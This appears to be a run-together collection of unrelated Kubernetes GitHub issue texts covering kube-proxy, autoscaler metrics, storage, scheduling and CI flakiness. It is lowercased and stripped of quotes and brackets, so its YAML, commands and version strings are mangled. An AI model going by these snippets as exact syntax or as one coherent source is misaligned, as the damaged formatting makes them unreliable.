<!-- \r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r <!-- do not edit below this line -->\r \r /triage support\r   \r if not, can we add restrcitive validation for external name service?\r \r @kubernetes/sig-network-misc \r

i had a k8s cluster now  version 1.12.3   ,but now i want to change the kube-proxy mode from iptables to ipvs without rebuilding the cluster.

ref https://github.com/kubernetes/kubernetes/pull/18184 issuecomment-162782326 everywhere we encourage users to use replicationcontroller should change to advocate deployment once it's beta   15313 .   cc @bgrant0607 @amygdala @kargakis @pwittrock @kubernetes/sig-config

guidelines for how kubectl run can satisfy: http://martinfowler.com/bliki/infrastructureascode.html  off the top of my head: - always tag your image with a version-specific tag and don't move that tag to a new version. for example, use :v1234, v1.2.3, r03062016-1-4, or somesuch, rather than :latest. - if the image is lightly parameterized, capture the parameters in a checked-in script, or at least use --record, to annotate the created objects with the command line. - if the image is heavily parameterized, definitely check in the script. - if features are needed that are not expressible via kubectl run flags, switch to config files checked into source control. those files could be created using kubectl run --edit followed by kubectl get --export. - pin to a specific generator version, such as kubectl run --generator=deployment/v1beta1

due to various bugs, sometimes docker won't be able to inspect a container and will keep returning 500 errors  e.g.,  24252 . users need to intervene and force delete the pod in this case.  kubelet should know when to give up and report an \ unknown\  status, so that the pod can continue syncing. one intuitive solution is to add a retry counter per container, and to report \ unknown\  when the count exceeds the threshold. the counter can be reset whenever an inspection succeeded. since this is docker-specific issue, we can consider adding this in the docker client wrapper in dockertools.

ref: https://github.com/kubernetes/kubernetes/pull/29528 issuecomment-235029962  what's the problem? we don't want to couple api objects to low level storage library and thus we introduced versioner to decouple api version from storage version. however, we coupled the logic of api versioning into storage layer currently. we should separate this layer out. storage interface should return storage version on method calls instead.  one more problem:      go type responsemeta struct {     ...     // the resource version of the node that contained the returned object.     resourceversion uint64 }      \ resourceversion\  here is also confusing. according to the docs, it should be storage version of the key.

federation apiserver computes the etcd prefix for storing services using the singular \ service\  resource:\r \r https://github.com/kubernetes/kubernetes/blob/master/federation/cmd/federation-apiserver/app/core.go l45\r    \r servicestore, servicestatusstore := serviceetcd.newrest restoptionsfactory.newfor api.resource \ service\    \r    \r \r this means that service objects end up in etcd in a different location   /service   in federation api servers than in regular api servers   /services/specs  \r \r as part of streamlining the way restoptions are applied to a store, we are using the qualified resource already specified in the store to look up the configured storage prefix  https://github.com/kubernetes/kubernetes/pull/37770/files diff-09e000f5cfed7187b7d85fdc65c50410l44 \r \r federation will either need to switch to using the standard etcd prefix for services  which would be ideal, but would impact upgrades  or define its own override for the services resource to map to '/service'\r \r need an answer asap if fixing the etcd prefix for federation services is possible in 1.5  i'm not sure whether federation services are alpha or beta in 1.4 \r \r @kubernetes/sig-cluster-federation

is this a bug report or feature request?    choose one :\r bug\r \r   kubernetes version    use  kubectl version  :\r master\r \r   description  :\r there's three different image pull policy here: never, always, pullifnotpresent; the image locality should only consider the containers with pullifnotpresent policy, there's no different for the other two policy in different node.\r

is this a bug report or feature request?    choose one :\r both? more of a bug imo\r \r   kubernetes version    use  kubectl version  :\r \r > kubectl version\r > client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r > server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r  though based on the code i think the issue is there in all versions \r \r   what happened  :\r kubelet constantly produces the following error log:\r \r > : pod \ kube-proxy-crf-sb-1\  is invalid: spec.containers 0 .securitycontext.privileged: forbidden: disallowed by policy\r \r \r   what you expected to happen  :\r kubelet does not constantly produce the above error log, when it is not justified  see below for cluster setup \r \r   how to reproduce it    as minimally and precisely as possible :\r 1. start kubelet with --allow-privileged=true\r 2. bring-up the cluster components as static pods  api server and kube-proxy included \r 3. configure api server with --allow-privileged=false\r 4. observe the logs periodically written by kubelet as it continuously tries to create a privileged mirror pod  kube-proxy  \r \r   anything else we need to know  :\r afaik kube-proxy needs to be privileged in order to provision iptables rules, therefore kubelet was started as indicated above. however, this does not mean i want to allow the same privileges for all pods within my cluster, therefore i imposed a stricter rule on my api server.\r i think this is a valid cluster configuration, so we should:\r - be able to selectively turn off this unnecessary logging for mirror pods\r - or at least add an exception specifically for kube-proxy  \r

description of problem: hpa v2 cannot get custom metrics info.\r    \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t-------\r   31m\t\t6s\t\t63\thorizontal-pod-autoscaler\t\t\twarning\t\tfailedgetobjectmetric\t\tunable to get metric http_requests_total: service on default sample-metrics-app/unable to fetch metrics from api: unable to map kind service to resource: no matches for /, kind=service\r   31m\t\t6s\t\t63\thorizontal-pod-autoscaler\t\t\twarning\t\tfailedcomputemetricsreplicas\tfailed to get object metric value: unable to get metric http_requests_total: service on default sample-metrics-app/unable to fetch metrics from api: unable to map kind service to resource: no matches for /, kind=service\r    \r \r kubernetes version: v1.7.0-alpha.3.129+20fa30e4b5a256\r \r how reproducible:\r always\r \r steps to reproduce:\r 1. enable kube dns, start controller_manager with --horizontal-pod-autoscaler-use-rest-clients=\ true\  and start apiserver with --runtime-config=\ api/all=true\ \r    \r $ kubectl api-versions | grep autoscaling\r autoscaling/v1\r autoscaling/v2alpha1\r    \r \r 2. deploy the prometheus operator for monitoring services in the cluster\r    \r kubectl apply -f https://raw.githubusercontent.com/luxas/kubeadm-workshop/master/demos/monitoring/prometheus-operator.yaml\r kubectl apply -f https://raw.githubusercontent.com/luxas/kubeadm-workshop/master/demos/monitoring/sample-prometheus-instance.yaml\r    \r \r 3. deploy a custom metrics api server and a sample app\r    \r kubectl apply -f https://raw.githubusercontent.com/luxas/kubeadm-workshop/master/demos/monitoring/custom-metrics.yaml\r kubectl apply -f https://raw.githubusercontent.com/luxas/kubeadm-workshop/master/demos/monitoring/sample-metrics-app.yaml\r    \r \r 4. check hpa status.\r    \r   kubectl describe hpa sample-metrics-app-hpa\r    \r \r actual results: hpa cannot get custom metrics, current value is \ unknown\ \r 4. check hpa status.\r    \r   kubectl describe hpa sample-metrics-app-hpa\r name:\t\t\t\t\t\t\tsample-metrics-app-hpa\r namespace:\t\t\t\t\t\tdefault\r labels:\t\t\t\t\t\t\t<none>\r annotations:\t\t\t\t\t\tkubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ autoscaling/v2alpha1\ ,\ kind\ :\ horizontalpodautoscaler\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ sample-metrics-app-hpa\ ,\ namespace\ :\ default...\r creationtimestamp:\t\t\t\t\twed, 10 may 2017 04:29:50 -0400\r reference:\t\t\t\t\t\tdeployment/sample-metrics-app\r metrics:\t\t\t\t\t\t  current / target  \r   \ http_requests_total\  on service/sample-metrics-app:\t<unknown> / 100\r min replicas:\t\t\t\t\t\t2\r max replicas:\t\t\t\t\t\t10\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t-------\r   31m\t\t6s\t\t63\thorizontal-pod-autoscaler\t\t\twarning\t\tfailedgetobjectmetric\t\tunable to get metric http_requests_total: service on default sample-metrics-app/unable to fetch metrics from api: unable to map kind service to resource: no matches for /, kind=service\r   31m\t\t6s\t\t63\thorizontal-pod-autoscaler\t\t\twarning\t\tfailedcomputemetricsreplicas\tfailed to get object metric value: unable to get metric http_requests_total: service on default sample-metrics-app/unable to fetch metrics from api: unable to map kind service to resource: no matches for /, kind=service\r    \r \r expected results: \r hpa v2 can get custom metrics info correctly.\r \r \r addition info: \r    \r   kubectl get all\r name                                      ready     status    restarts   age\r po/prometheus-operator-1303517395-dsnkk   1/1       running   0          9m\r po/prometheus-sample-metrics-prom-0       2/2       running   0          9m\r po/sample-metrics-app-2206349241-76xc4    1/1       running   0          8m\r po/sample-metrics-app-2206349241-gvvv7    1/1       running   0          8m\r \r name                      cluster-ip   external-ip   port s           age\r svc/kubernetes            10.0.0.1     <none>        443/tcp          11m\r svc/prometheus-operated   none         <none>        9090/tcp         9m\r svc/sample-metrics-app    10.0.0.177   <none>        80/tcp           8m\r svc/sample-metrics-prom   10.0.0.184   <nodes>       9090:30999/tcp   9m\r \r name                                          desired   current   age\r statefulsets/prometheus-sample-metrics-prom   1         1         9m\r \r name                         reference                       targets           minpods   maxpods   replicas   age\r hpa/sample-metrics-app-hpa   deployment/sample-metrics-app   <unknown> / 100   2         10        2          8m\r \r name                         desired   current   up-to-date   available   age\r deploy/prometheus-operator   1         1         1            1           9m\r deploy/sample-metrics-app    2         2         2            2           8m\r \r name                                desired   current   ready     age\r rs/prometheus-operator-1303517395   1         1         1         9m\r rs/sample-metrics-app-2206349241    2         2         2         8m\r    \r \r    \r   kubectl get hpa.v2alpha1.autoscaling sample-metrics-app-hpa -o yaml\r apiversion: autoscaling/v2alpha1\r kind: horizontalpodautoscaler\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ autoscaling/v2alpha1\ ,\ kind\ :\ horizontalpodautoscaler\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ sample-metrics-app-hpa\ ,\ namespace\ :\ default\ },\ spec\ :{\ maxreplicas\ :10,\ metrics\ : {\ object\ :{\ metricname\ :\ http_requests_total\ ,\ target\ :{\ kind\ :\ service\ ,\ name\ :\ sample-metrics-app\ },\ targetvalue\ :100},\ type\ :\ object\ } ,\ minreplicas\ :2,\ scaletargetref\ :{\ kind\ :\ deployment\ ,\ name\ :\ sample-metrics-app\ }}}\r   creationtimestamp: 2017-05-10t08:29:50z\r   name: sample-metrics-app-hpa\r   namespace: default\r   resourceversion: \ 25672\ \r   selflink: /apis/autoscaling/v2alpha1/namespaces/default/horizontalpodautoscalers/sample-metrics-app-hpa\r   uid: d59e067f-355a-11e7-9933-0ef2c87c59d8\r spec:\r   maxreplicas: 10\r   metrics:\r   - object:\r       metricname: http_requests_total\r       target:\r         kind: service\r         name: sample-metrics-app\r       targetvalue: \ 100\ \r     type: object\r   minreplicas: 2\r   scaletargetref:\r     kind: deployment\r     name: sample-metrics-app\r status:\r   currentmetrics:   \r   currentreplicas: 2\r   desiredreplicas: 0\r

we recently had 2 flaky runs  2825, 2826  in our kubemark-100 ci test and the problem was in kubemark apiserver failing to become healthy and the test timed out.\r and since we don't currently collect kubemark master logs if the test fails during start-kubemark.sh step, we have no idea why it failed.\r \r cc @wojtek-t @gmarek

we know that kubemark-5000 currently fails in head. we need to make sure it's passing and run real 5000-node tests before 1.7 release. \r \r cc @kubernetes/sig-scalability-bugs @dchen1107 @shyamjvs @wojtek-t

cri has  updateruntimeconfig  api to update network cidr. the pod cidr is the only value received from kube.  dockershim  is the only cri impl that can actually update the cidr of  kubenet  via https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/docker_service.go l302-l313\r \r when using the cri is impossible to update cidr in kubenet because we're missing some information which kube should provide us  thus, we won't be able to correctly update the cidr for kubenet .\r \r this is the relevant code in kube  only dockershim can actually use this  which updates the cidr: https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/network/kubenet/kubenet_linux.go l238-l281\r \r we need, at least:\r \r - mtu\r - hairpin mode\r \r @feiskyer @kelseyhightower @random-liu ptal, i would hope we could fix this for 1.7.x or having a workaround soon ish .

from  docker docs  https://docs.docker.com/engine/admin/volumes/volumes/ start-a-container-with-a-volume :\r \r > if you start a container with a volume that does not yet exist, docker creates the volume for you. the following example mounts the volume myvol2 into /app/ in the container.\r > \r >    \r > $ docker run -d \\\r >   -it \\\r >   --name devtest \\\r >   -v myvol2:/app \\\r >   nginx:latest\r >    \r > \r > use docker inspect devtest to verify that the volume was created and mounted correctly. look for the mounts section:\r > \r >    \r > \ mounts\ :  \r >     {\r >         \ type\ : \ volume\ ,\r >         \ name\ : \ myvol2\ ,\r >         \ source\ : \ /var/lib/docker/volumes/myvol2/_data\ ,\r >         \ destination\ : \ /app\ ,\r >         \ driver\ : \ local\ ,\r >         \ mode\ : \ \ ,\r >         \ rw\ : true,\r >         \ propagation\ : \ \ \r >     }\r >  ,\r >    \r > \r > this shows that the mount is a volume, it shows the correct source and destination, and that the mount is read-write.\r \r if the docker volume is not backed by a docker volume driver then docker creates a directory on the host machine to back the volume.\r \r kubernetes is implementing a mechanism to control the amount of host disk space a container can use. see the  local ephemeral storage resource management  design in https://github.com/kubernetes/community/pull/991. \r \r purpose of this bug is to make sure that kubernetes accounts for docker volumes backed by host disk as  part of  ephemeral-storage .\r \r /assign @jingxu97 \r \r cc @random-liu @kubernetes/sig-storage-bugs @kubernetes/sig-node-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r 1. statefulset with emptydir volume in pod spec and a container with a volumemount onto that volume.\r 2. statefulset is created at scale 1 and the only pod is placed on a physical node.\r 3. this physical node reboots and comes back in less than 5 minutes fully operational.\r 4. the pod restarts on the same node.\r 5. emptydir volume keeps the data from before restart.\r \r   what you expected to happen  :\r 1. expect the emptydir volume to be empty.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create statefulset spec with one container that has one volumemount onto a volume of type emptydir.\r 2. the container entry point checks to see if a file present in the volumemount and if the file is present writes \ second time\  into the file; otherwise, creates the file and writes \ first time\ ; continues to \ sleep inifinity\  in either case.\r 3. create one replica of the statefulset.\r 4. reboot the physical node where the replica resides.\r 5. check the contents of the file after the node completes reboot.\r \r   anything else we need to know?  :\r 1. init container in such statefulset does execute in the described experiment.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.0\r - cloud provider or hardware configuration  : intel r  xeon r  cpu e5-2690 v3 24 cores; ubuntu 16.04 lts; vagrant 1.9.3; virtualbox 5.1.22\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  :  linux 4.4.0-96-generic\r - install tools: kubeadm 1.8.0-01\r - others:\r

one should never expect an external program to exit timely. i think there should be  exec   , which exhibits a default timeout, and  spawn   , which is not expected to exit. this becomes most critical in the context of  5069.

  \r i've written this helper a few times to configure ci jobs and advised users to do this instead of using their personal credentials for ci. the tectonic dashboard even has this convince.\r \r proposed ux:\r \r    terminal\r kubectl get serviceaccount my-sa -o kubeconfig             writes to the file \ kubeconfig\ \r kubectl get serviceaccount my-sa -o kubeconfig=my-config   writes to the file \ my-config\  \r    \r \r the api endpoints and ca in the generated kubeconfig should be the same as values kubectl used to contact the api server.

when we used annotations to mark critical pods, we considered pods with such an annotation critical only when they were created in \ kube-system\  namespace. going to the new era of using  indicate critical pods, we would like to remove the restriction of \ kube-system\  namespace and consider pods with critical  critical no matter what namespace they are in.\r \r ref/ https://github.com/kubernetes/kubernetes/pull/60519 discussion_r171132505\r \r   /assign @ravisantoshgudimetla \r cc/ @liggitt \r

 \r \r   what happened  :\r \r ran kubectl cordon -l beta.kubernetes.io/instance-type=m3.2xlarge\r \r got\r \r    error: unknown shorthand flag: 'l' in -l\r \r \r examples:\r     mark node \ foo\  as unschedulable.\r   kubectl cordon foo\r \r usage:\r   kubectl cordon node  options \r \r use \ kubectl options\  for a list of global command-line options  applies to all commands .\r    \r \r   what you expected to happen  :\r \r kubectl to cordon the nodes i'd specified.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.9 client, 1.5 server\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r i create a pod with  resources.requests.ephemeral-storage \r then it can't be scheduled and pod stay in  pending  state\r with warnning:  no nodes are available that match all of the predicates: insufficient ephemeral-storage  2 , podtoleratesnodetaints  3  \r \r   what you expected to happen  :\r pod be  running  state\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl apply -f storage.yml\r and this is my yaml file\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r     name: frontend\r spec:\r     containers:\r     - name: db\r       image: mysql\r       resources:\r         requests:\r           ephemeral-storage: \ 2mi\ \r     - name: wp\r       image: wordpress\r       resources:\r         requests:\r           ephemeral-storage: \ 10mi\ \r       volumemounts:\r       - mountpath: /cache\r         name: cache-volume\r     volumes:\r     - name: cache-volume\r       emptydir:\r         sizelimit: 2gi\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r \r - kernel  e.g.  uname -a  :\r  linux test--0003 3.10.0-693.11.1.el7.x86_64  1 smp mon dec 4 23:52:40 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r \r - install tools:\r kubeadm\r \r - others:\r my cluster:\r    \r   kubectl get no\r name         status    roles     age       version\r test--0001   ready     master    17d       v1.8.6\r test--0002   ready     master    17d       v1.8.6\r test--0003   ready     master    17d       v1.8.6\r test--0004   ready     <none>    17d       v1.8.6\r test--0006   ready     <none>    15d       v1.8.6\r    \r test--0004:\r    \r   df -h\r filesystem                   size  used avail use% mounted on\r /dev/xvda2                    49g  6.0g   40g  13% /\r devtmpfs                     7.8g     0  7.8g   0% /dev\r tmpfs                        7.8g     0  7.8g   0% /dev/shm\r tmpfs                        7.8g  750m  7.1g  10% /run\r tmpfs                        7.8g     0  7.8g   0% /sys/fs/cgroup\r /dev/xvdb1                    99g  7.3g   87g   8% /var/lib/docker\r /dev/xvda1                   976m  146m  764m  16% /boot\r    \r \r test--0006\r    \r   df -h\r filesystem      size  used avail use% mounted on\r /dev/xvda1       50g   14g   34g  29% /\r devtmpfs        7.8g     0  7.8g   0% /dev\r tmpfs           7.6g     0  7.6g   0% /dev/shm\r tmpfs           7.6g  3.8m  7.6g   1% /run\r tmpfs           7.6g     0  7.6g   0% /sys/fs/cgroup\r /dev/xvdb1       99g   34g   60g  36% /var/lib/docker\r    \r

 \r   what happened  :\r when an elb is provisioned as a loadbalancer, the client traffic's security group rule can be scoped to specific ranges but the mtu discovery rule cannot.\r \r   what you expected to happen  :\r the mtu discovery security group rule source range is configurable or matches the values of  spec.loadbalancersourceranges \r \r   anything else we need to know?  :\r the  0.0.0.0/0  value appears to be  hardcoded here  https://github.com/kubernetes/kubernetes/blob/release-1.10/pkg/cloudprovider/providers/aws/aws.go l3530 .\r \r i operate in an environment where  0.0.0.0/0  as a source range is generally disallowed.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.1\r - cloud provider or hardware configuration: aws\r - others: elb, not using alb in this case\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r find below messages when the number of nodes increase 1500:\r    \r may 18 03:56:20 icp10m1 hyperkube 1178 : w0518 03:56:20.976823    1178 status_manager.go:476  failed to update status for pod \ metering-reader-sw754_kube-system 83d5f463-58d3-11e8-a5cc-005056b40181 \ : the server has received too many requests and has asked us to try again later  put pods metering-reader-sw754 \r may 18 03:56:30 icp10m1 hyperkube 1178 : e0518 03:56:30.581043    1178 kubelet_node_status.go:392  error updating node status, will retry: error getting node \ 10.29.0.21\ : get https://10.29.0.100:8001/api/v1/nodes/10.29.0.21?timeout=10s: net/http: request canceled  client.timeout exceeded while awaiting headers \r may 18 03:56:40 icp10m1 hyperkube 1178 : e0518 03:56:40.581452    1178 kubelet_node_status.go:392  error updating node status, will retry: error getting node \ 10.29.0.21\ : get https://10.29.0.100:8001/api/v1/nodes/10.29.0.21?timeout=10s: net/http: request canceled  client.timeout exceeded while awaiting headers \r may 18 03:56:50 icp10m1 hyperkube 1178 : e0518 03:56:50.605262    1178 kubelet_node_status.go:392  error updating node status, will retry: error getting node \ 10.29.0.21\ : get https://10.29.0.100:8001/api/v1/nodes/10.29.0.21?timeout=10s: net/http: request canceled  client.timeout exceeded while awaiting headers \r may 18 03:57:00 icp10m1 hyperkube 1178 : e0518 03:57:00.605643    1178 kubelet_node_status.go:392  error updating node status, will retry: error getting node \ 10.29.0.21\ : get https://10.29.0.100:8001/api/v1/nodes/10.29.0.21?timeout=10s: net/http: request canceled  client.timeout exceeded while awaiting headers \r may 18 03:57:00 icp10m1 hyperkube 1178 : e0518 03:57:00.605672    1178 kubelet_node_status.go:384  unable to update node status: update node status exceeds retry count\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r increase the number of work nodes to 1500+\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0+icp-ee\ , gitcommit:\ 9cb64de4ca4d039c35f4a29721aa5cf787648a15\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t06:32:18z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0+icp-ee\ , gitcommit:\ 9cb64de4ca4d039c35f4a29721aa5cf787648a15\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t06:32:18z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r 4.4.0-122-generic  146-ubuntu\r - install tools:\r - others:\r

what happened  :\r \r  67205 started publishing crd openapi schemas.\r \r   what you expected to happen  :\r \r schema information to appear quickly when a new crd is created, and for the integration test added that tests this to complete quickly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a crd with a schema:  kubectl create -f staging/src/k8s.io/csi-api/pkg/crd/manifests/csinodeinfo.yaml \r 2. wait for the schema to appear:  kubectl get --raw /openapi/v2 | grep '\ csi.storage.k8s.io.v1alpha1.csinodeinfo\ :' \r \r it takes ~60 seconds for the schema to appear.\r \r the  testcrdopenapi    integration test added that does this increased the runtime of the test/integration/master package from 333s  average of five runs on master prior to merge  to 460s  average of five runs against the pr . the other ~25 tests in that package take a total of ~5.5 minutes, and this one test added an additional 2 minutes. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /assign sttts roycaihw\r \r <!-- do not edit below this line -->\r 

this is more of a question and perhaps a feature request. does kubernetes have support to deal with flapping  starting and stoping very quickly  services specially so that their flapping doesn't have a negative effect on the cluster? and if not, should it?  a negative effect could be: - high cpu burn - log flooding - resource hogging  quick claim and release cycles

some of the containers need a compilation step for building:      ... webserver: webserver.go         cgo_enabled=0 goos=linux go build -a -installsuffix cgo -ldflags '-w' ./webserver.go ...     - i think we should have a top-level dockerfile in  test/images/  which can build test/images golang binaries from zero.  - or else, we should just build these binaries as part of the standard kube build.  i dont think they are included as of now? - any other ideas...  cc @ixdy

one of the most frustrating things about developing on kubernetes right now is the amount of time it takes to get prs through the queue and merged. the primary thing that slows that down at the moment is flaky tests. i believe this is a process/culture problem. several times now, we've stopped development work to fix tests; we need solutions that keep the tests green in steady state, not ones that make us oscillate between flaky & emergency fixes.\r \r this umbrella issue will track at a high level the things we intend to change to improve this situation. i'll file individual issues for each with much more complete specification-- some of these are big topics in their own right.\r -  x   individual test owners  https://github.com/kubernetes/kubernetes/issues/24754 \r -  x   measure flake rate of each test  https://github.com/kubernetes/kubernetes/issues/24758 \r -  x   automatic flake assignment  https://github.com/kubernetes/kubernetes/issues/24755 \r -      dashboard for test owner stats  https://github.com/kubernetes/kubernetes/issues/24759 \r -      expand the integration test framework  https://github.com/kubernetes/kubernetes/issues/24760 \r -  x   tolerate nonzero flake rates  maybe   https://github.com/kubernetes/kubernetes/issues/24761 \r -      measure time spent by prs in the submit queue  https://github.com/kubernetes/kubernetes/issues/24762 \r -      measure % of api surface area used in tests.  https://github.com/kubernetes/kubernetes/issues/24763 \r -  x   nag flaky test assignees  https://github.com/kubernetes/kubernetes/issues/31291 \r \r  i will keep the above list up to date if good ideas show up in the comments on this issue. \r \r exit criteria for this issue to be considered resolved  feel free to debate these in the comments-- i will keep this up to date, too :\r -      presubmit requirements  https://github.com/kubernetes/kubernetes/issues/27578 \r -      postsubmit requirements  https://github.com/kubernetes/kubernetes/issues/27579 \r -      flake fix slo requirements  https://github.com/kubernetes/kubernetes/issues/27580 \r -      retest succeeds 95% of the time  https://github.com/kubernetes/kubernetes/issues/27581 \r

we recommend users to drain the node before upgrade kubelet to use the cri implementation. however, if user chooses to upgrade kubelet in-place, kubelet should stop  and later remove  old containers and create new ones. we need to add this feature to kubelet, and perform manual upgrade testing. \r \r /cc @random-liu

is this a bug report or feature request?  :\r \r  \r   what happened  :\r we run instances of  kube-proxy  outside of our kubernetes cluster to make cluster ips work everywhere. conntrack settings are already tuned on these machines, so we use the following args to ensure  kube-proxy  does not alter them:\r -  --conntrack-max-per-core=0 \r -  --conntrack-tcp-timeout-close-wait=0 \r -  --conntrack-tcp-timeout-established=0 \r \r when we upgraded  kube-proxy  from 1.5.5 to 1.7.3 we noticed that these args became invalid  timeouts are now a  duration  , so we switched over to a proper config file:\r \r    yaml\r apiversion: componentconfig/v1alpha1\r clientconnection:\r   kubeconfig: /path/to/kubeconfig.yaml\r conntrack:\r   maxpercore: 0\r   tcpclosewaittimeout: 0s\r   tcpestablishedtimeout: 0s\r kind: kubeproxyconfiguration\r mode: iptables\r    \r \r the issue is that kube-proxy  started setting the default conntrack values, even though we set these keys to zero  as the help docs suggested  in the config file. we ultimately had to set these values to  -1  and  -1s  to make things work properly.\r \r my gut is telling me that when  kube-proxy  merges together the configs, it's treating zero values as if they were not set at all  thus falling back to the default values . can we either fix this or update the help docs?\r \r   what you expected to happen  :\r i expected the help docs   kube-proxy -h   to be accurate; that zero values would cause  kube-proxy  to not alter conntrack settings.\r \r   how to reproduce it  as minimally and precisely as possible   :\r set  kube-proxy  conntrack args to  0  /  0s , observe that  kube-proxy  still attempts to change conntrack settings.\r \r   anything else we need to know?  :\r - appears to have started in 1.7\r - i only had a chance to test conntrack-related args, but i believe this affects all of  kube-proxy 's numeric settings that advertise zero as a \ disabled\  value.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.3\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : centos\r - kernel  e.g.  uname -a  :  linux deep-shape 4.9.35-hs343.el6.x86_64  1 smp wed jul 12 01:59:52 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r this issue for making allowprivilegeescalation tests multi-arch using the image which is pushed part of https://github.com/kubernetes/kubernetes/pull/49951\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

